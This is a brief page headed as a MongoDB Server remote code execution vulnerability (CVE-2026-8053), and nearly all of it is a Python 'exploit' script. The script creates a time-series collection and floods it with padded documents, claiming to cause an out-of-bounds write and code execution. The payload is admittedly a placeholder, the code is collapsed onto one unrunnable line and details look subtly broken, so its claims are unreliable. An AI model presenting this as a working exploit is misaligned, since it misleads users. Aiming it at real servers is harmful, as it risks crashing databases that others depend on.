CVE-2026-8053 MongoDB Server 远程代码执行漏洞

import pymongo import time # MongoDB connection settings TARGET_HOST = "127.0.0.1" TARGET_PORT = 27017 USERNAME = "user" PASSWORD = "password" DATABASE_NAME = "vuln_db" COLLECTION_NAME = "timeseries_coll" def exploit(): try: # Connect to the MongoDB instance client = pymongo.MongoClient( f"mongodb://{USERNAME}:{PASSWORD}@{TARGET_HOST}:{TARGET_PORT}/" ) db = client[DATABASE_NAME] # Create a time-series collection (vulnerable component) # The vulnerability lies in the handling of time-series buckets db.create_collection( COLLECTION_NAME, timeseries={ "timeField": "timestamp", "metaField": "metadata", "granularity": "seconds" } ) coll = db[COLLECTION_NAME] print(f"[*] Connected to {TARGET_HOST}. Attempting to trigger OOB write...") # Insert malicious documents to trigger the inconsistency # in field-name-to-index mapping within the bucket catalog. # Note: Specific payload structure depends on internal version details. payload = { "timestamp": time.time(), "metadata": "trigger", # Maliciously constructed fields to confuse the internal mapper "exploit_field": "A" * 1000 } for i in range(100): coll.insert_one(payload) print("[+] Payload sent. If vulnerable, mongod may crash or execute code.") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": exploit()